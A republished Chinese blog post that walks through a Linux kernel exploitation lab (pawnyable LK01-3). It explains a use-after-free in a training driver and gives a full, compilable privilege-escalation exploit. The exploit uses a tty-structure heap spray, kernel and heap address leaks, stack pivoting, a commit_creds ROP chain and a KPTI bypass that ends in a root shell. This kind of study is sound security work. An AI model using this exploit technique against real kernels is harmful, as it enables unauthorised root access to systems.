通过复用TTY结构体实现提权利用

admin 2026-01-21 00:51:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章演示Linux内核LK01-3模块因多次open未限制导致g_buf重复指向同一堆块,close后形成UAF;作者利用slab缓存尺寸匹配,通过堆喷让被释放的g_buf复用为tty结构体,改写其函数表指针并布置ROP,完成提权与KPTI绕过。文中给出完整模块代码、漏洞成因、利用流程、调试脚本及可直接编译运行的提权exp,提供内核基址与heap地址泄露、栈迁移、commit_creds调用等关键细节,适合内核漏洞研究与教学。 综合评分: 87 文章分类: 漏洞分析,二进制安全,红队,漏洞POC,实战经验


cover_image

通过复用TTY结构体实现提权利用

hope hope

蚁景网络安全

2026年1月20日 17:47 湖南

前言

UAF是用户态中常见的漏洞,在内核中同样存在UAF漏洞,都是由于对释放后的空间处理不当,导致被释放后的堆块仍然可以使用所造成的漏洞。

LK01-3

结合题目来看UAF漏洞

项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3

open模块

在执行open模块时会分配0x400大小的堆空间,并将地址存储在g_buf

#define BUFFER_SIZE 0x400

char *g_buf = NULL;

staticintmodule_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");

  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

return0;
}

read模块

在读模块中,会从用户空间中读取0x400字节到g_buf执行的堆空间中

static ssize_tmodule_read(struct file *file,
                           char __user *buf, size_t count,
                           loff_t *f_pos)
{
  printk(KERN_INFO "module_read called\n");

if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }

if (copy_to_user(buf, g_buf, count)) {
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }

return count;
}

write模块

在写模块中,会从用户空间拷贝400字节数据到内核堆空间中

static ssize_tmodule_write(struct file *file,
                            constchar __user *buf, size_t count,
                            loff_t *f_pos)
{
  printk(KERN_INFO "module_write called\n");

if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }

if (copy_from_user(g_buf, buf, count)) {
    printk(KERN_INFO "copy_from_user failed\n");
    return -EINVAL;
  }

return count;
}

close模块

close模块会释放g_buf指向的堆块空间

static int module_close(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  return 0;
}

漏洞分析

在读写模块中都限制了长度为0x400,这与一开始分配的堆空间大小一致,因此与LK01-2不同的是不存在堆溢出漏洞。但是在open模块中g_buf是唯一用来存储堆地址的变量,并且没有进行次数限制,那么就会导致多次调用open模块会使得存在多个指针指向同一块内存,若该内存被释放就会造成UAF漏洞。下图就是构造UAF漏洞的流程。

当把g_buf释放掉后,通过fd2文件描述符同样能够操控g_buf的空间,问题是该如何劫持程序流程,由于堆空间是通过slab分配器进行分配的,而slab还可而已进行缓存,因此g_buf被释放后会放进缓存中,而g_buf的大小为0x400这与tty结构体一致,因此此时通过堆喷确保g_buf被分配到tty结构体。构造uaf的代码如下。

...
    int fd1 = open("/dev/holstein", O_RDWR);
    int fd2 = open("/dev/holstein", O_RDWR);
    close(fd1);
&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i <&nbsp;50; i++)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(spray[i] ==&nbsp;-1)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("error!\n");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit(-1);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
...

这里我有一个疑惑的点,在模块中的close函数仅仅只是释放了g_buf的堆内存并没有后续操作,因此在执行close(fd1)之后,是不是还能对文件描述符fd1进行操作,后来试验之后发现不行,查询资料得到,文件描述符的移除是内核默认操作与重定义模块的close操作无关。

在构造出UAF漏洞并进行堆喷之后,实际操作的g_buf指向的是tty的结构体,该结构体偏移0x18是一个函数表的操作指针,那么将该函数表修改为自定义的函数表即可。后续的操作与LK01-3一致,将指针操作修改为栈迁移到堆上,然后就是执行commit_creds(prepare_kernel_cred(0)),利用swapgs_restore_regs_and_return_to_usermode绕过kpti的保护。

run.sh

#!/bin/sh
qemu-system-x86_64 \
&nbsp; &nbsp; -m 64M \
&nbsp; &nbsp; -nographic \
&nbsp; &nbsp; -kernel bzImage \
&nbsp; &nbsp; -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
&nbsp; &nbsp; -no-reboot \
&nbsp; &nbsp; -cpu qemu64,+smap,+smep \
&nbsp; &nbsp; -smp 1 \
&nbsp; &nbsp; -monitor /dev/null \
&nbsp; &nbsp; -initrd initramfs.cpio.gz \
&nbsp; &nbsp; -net nic,model=virtio \
&nbsp; &nbsp; -net user \
&nbsp; &nbsp; -s

exp

#include&nbsp;<stdio.h>
#include&nbsp;<ctype.h>
#include&nbsp;<fcntl.h>
#include&nbsp;<unistd.h>
#include&nbsp;<sys/stat.h>
#include&nbsp;<string.h>
#include&nbsp;<stdlib.h>
int&nbsp;spray[100];

//0xffffffff8114fbe8: add al, ch; push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret;
//0xffffffff8114078a: pop rdi; ret;
//0xffffffff81638e9b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
//0xffffffff810eb7e4: pop rcx; ret;
//0xffffffff81072560 T prepare_kernel_cred
//0xffffffff810723c0 T commit_creds
//0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode

#define&nbsp;push_rdx_pop_rsp_offset 0x14fbe8
#define&nbsp;pop_rdi_ret_offset 0x14078a
#define&nbsp;pop_rcx_ret_offset 0xeb7e4
#define&nbsp;prepare_kernel_cred_offset 0x72560
#define&nbsp;commit_creds_offset 0x723c0
#define&nbsp;swapgs_restore_regs_and_return_to_usermode_offset 0x800e10
#define&nbsp;mov_rdi_rax_offset &nbsp;0x638e9b

unsignedlong&nbsp;user_cs, user_sp, user_ss, user_rflags;

voidbackdoor()
{
&nbsp; &nbsp;&nbsp;printf("****getshell****");
&nbsp; &nbsp; system("id");
&nbsp; &nbsp; system("/bin/sh");
}

voidsave_user_land()
{
&nbsp; &nbsp; __asm__(
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;".intel_syntax noprefix;"
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"mov user_cs, cs;"
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"mov user_sp, rsp;"
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"mov user_ss, ss;"
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"pushf;"
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"pop user_rflags;"
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;".att_syntax;"
&nbsp; &nbsp; );
&nbsp; &nbsp;&nbsp;puts("[*] Saved userland registers");
&nbsp; &nbsp;&nbsp;printf("[#] cs: 0x%lx \n", user_cs);
&nbsp; &nbsp;&nbsp;printf("[#] ss: 0x%lx \n", user_ss);
&nbsp; &nbsp;&nbsp;printf("[#] rsp: 0x%lx \n", user_sp);
&nbsp; &nbsp;&nbsp;printf("[#] rflags: 0x%lx \n", user_rflags);
&nbsp; &nbsp;&nbsp;printf("[#] backdoor: 0x%lx \n\n", backdoor);
}

intmain() {
&nbsp; &nbsp; save_user_land();
&nbsp; &nbsp;&nbsp;int&nbsp;fd1 = open("/dev/holstein", O_RDWR);
&nbsp; &nbsp;&nbsp;int&nbsp;fd2 = open("/dev/holstein", O_RDWR);
&nbsp; &nbsp; close(fd1);
&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i <&nbsp;50; i++)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(spray[i] ==&nbsp;-1)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("error!\n");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit(-1);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;char&nbsp;buf[0x400];
&nbsp; &nbsp; read(fd2, buf,&nbsp;0x400);
&nbsp; &nbsp;&nbsp;unsignedlong&nbsp;*p = (unsignedlong&nbsp;*)&buf;
&nbsp; &nbsp;&nbsp;//for (unsigned int i = 0; i < 0x80; i++)
&nbsp; &nbsp;&nbsp;// printf("[%x]:addr:0x%lx\n",i,p[i]);
&nbsp; &nbsp;&nbsp;unsignedlong&nbsp;kernel_addr = p[3];
&nbsp; &nbsp;&nbsp;unsignedlong&nbsp;heap_addr = p[7];
&nbsp; &nbsp;&nbsp;printf("kernel_addr:0x%lx\nheap_addr:0x%lx\n",kernel_addr,heap_addr);
&nbsp; &nbsp;&nbsp;unsignedlong&nbsp;kernel_base = kernel_addr -&nbsp;0xc39c60;
&nbsp; &nbsp;&nbsp;unsignedlong&nbsp;g_buf = heap_addr -&nbsp;0x38;
&nbsp; &nbsp;&nbsp;printf("kernel_base:0x%lx\ng_buf:0x%lx\n",kernel_base,g_buf);
&nbsp; &nbsp; *(unsignedlong&nbsp;*)&buf[0x18] = g_buf;
&nbsp; &nbsp; p[0xc] = push_rdx_pop_rsp_offset + kernel_base;
&nbsp; &nbsp;&nbsp;//for (unsigned long i = 0xd; i < 0x80; i++)
&nbsp; &nbsp;&nbsp;// p[i] = i;
&nbsp; &nbsp; p[0x21] = pop_rdi_ret_offset + kernel_base;
&nbsp; &nbsp; p[0x22] =&nbsp;0;
&nbsp; &nbsp; p[0x23] = prepare_kernel_cred_offset + kernel_base;
&nbsp; &nbsp; p[0x24] = pop_rcx_ret_offset + kernel_base;
&nbsp; &nbsp; p[0x25] =&nbsp;0;
&nbsp; &nbsp; p[0x26] = mov_rdi_rax_offset + kernel_base;
&nbsp; &nbsp; p[0x27] = commit_creds_offset + kernel_base;
&nbsp; &nbsp; p[0x28] = swapgs_restore_regs_and_return_to_usermode_offset +&nbsp;0x16&nbsp;+ kernel_base;
&nbsp; &nbsp; p[0x29] =&nbsp;0;
&nbsp; &nbsp; p[0x2a] =&nbsp;0;
&nbsp; &nbsp; p[0x2b] = (unsignedlong)backdoor;
&nbsp; &nbsp; p[0x2c] = user_cs;
&nbsp; &nbsp; p[0x2d] = user_rflags;
&nbsp; &nbsp; p[0x2e] = user_sp;
&nbsp; &nbsp; p[0x2f] = user_ss;
&nbsp; &nbsp; write(fd2, buf,&nbsp;0x400);
&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i <&nbsp;50; i++)
&nbsp; &nbsp; &nbsp; &nbsp; ioctl(spray[i],&nbsp;0, g_buf+0x100);

}

参考链接

https://blog-wohin-me.translate.goog/posts/pawnyable-0203/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl

https://pawnyable-cafe.translate.goog/linux-kernel/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=zh-CN


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:蚁景网络安全 hope hope《通过复用TTY结构体实现提权利用》

评论:0   参与:  0